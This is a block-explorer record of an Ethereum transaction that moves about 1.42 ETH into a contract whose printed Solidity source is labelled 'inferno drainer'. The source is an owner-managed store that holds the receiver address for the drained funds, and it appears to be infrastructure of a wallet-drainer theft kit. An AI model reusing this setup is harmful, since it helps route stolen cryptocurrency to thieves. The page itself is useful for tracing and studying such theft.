ETH Price: $2,523.95 (-1.03%)

Transaction Decoder

Block:
22847113 at Jul-04-2025 04:41:47 PM +UTC
Transaction Fee:
0.000554696228553084 ETH $1.40
Gas Used:
148,644 Gas / 3.731709511 Gwei

Emitted Events:

86 0x0000303359f425abe18d70d454a10c1f29180000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000303359f425abe18d70d454a10c1f29180000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )

Account State Difference:

  Address   Before After State Difference Code
0x00003033...F29180000 0.219860017724592933 Eth1.639739902978452646 Eth1.419879885253859713
0x20F435af...13a0e6677
1.478597217859501963 Eth
Nonce: 96
0.058162636377089166 Eth
Nonce: 98
1.420434581482412797From: 0 To: 22892026855592066050609947431602401211538835161166308139
(BuilderNet)
22.255884235338485951 Eth22.256181523338485951 Eth0.000297288

Execution Trace

0x20f435af76699629fe55c4ac342d33013a0e6677.e9ae5c53( )
  • ETH 1.419879885253859713 0x0000303359f425abe18d70d454a10c1f29180000.8bf4eff3( )
    • StorageContract.CALL( )
    • 0x0000303359f425abe18d70d454a10c1f29180000.df60a6ed( )
      • 0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
        // @mr_inferno_drainer / inferno drainer
        
        pragma solidity ^0.8.6;
        
        contract StorageContract {
            address public nativeCryptoReceiver;
            address[] public owners;
        
            constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                nativeCryptoReceiver = defaultNativeCryptoReceiver;
                owners.push(firstOwner);
            }
        
            modifier onlyOwner() {
                bool isOwner = false;
                for (uint256 i = 0; i < owners.length; i++) {
                    if (msg.sender == owners[i]) {
                        isOwner = true;
                        break;
                    }
                }
                require(isOwner, "Caller is not an owner");
                _;
            }
        
            function addOwner(address newOwner) public onlyOwner {
                owners.push(newOwner);
            }
        
            function getOwners() public view returns (address[] memory) {
                return owners;
            }
        
            function removeOwner(address ownerToRemove) public onlyOwner {
                uint256 index = type(uint256).max;
        
                for (uint256 i = 0; i < owners.length; i++) {
                    if (owners[i] == ownerToRemove) {
                        index = i;
                        break;
                    }
                }
        
                require(index != type(uint256).max, "Owner not found");
                require(owners.length > 1, "Cannot remove the last owner");
        
                owners[index] = owners[owners.length - 1];
                owners.pop();
            }
        
            function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                public
                onlyOwner
            {
                nativeCryptoReceiver = newNativeCryptoReceiver;
            }
        }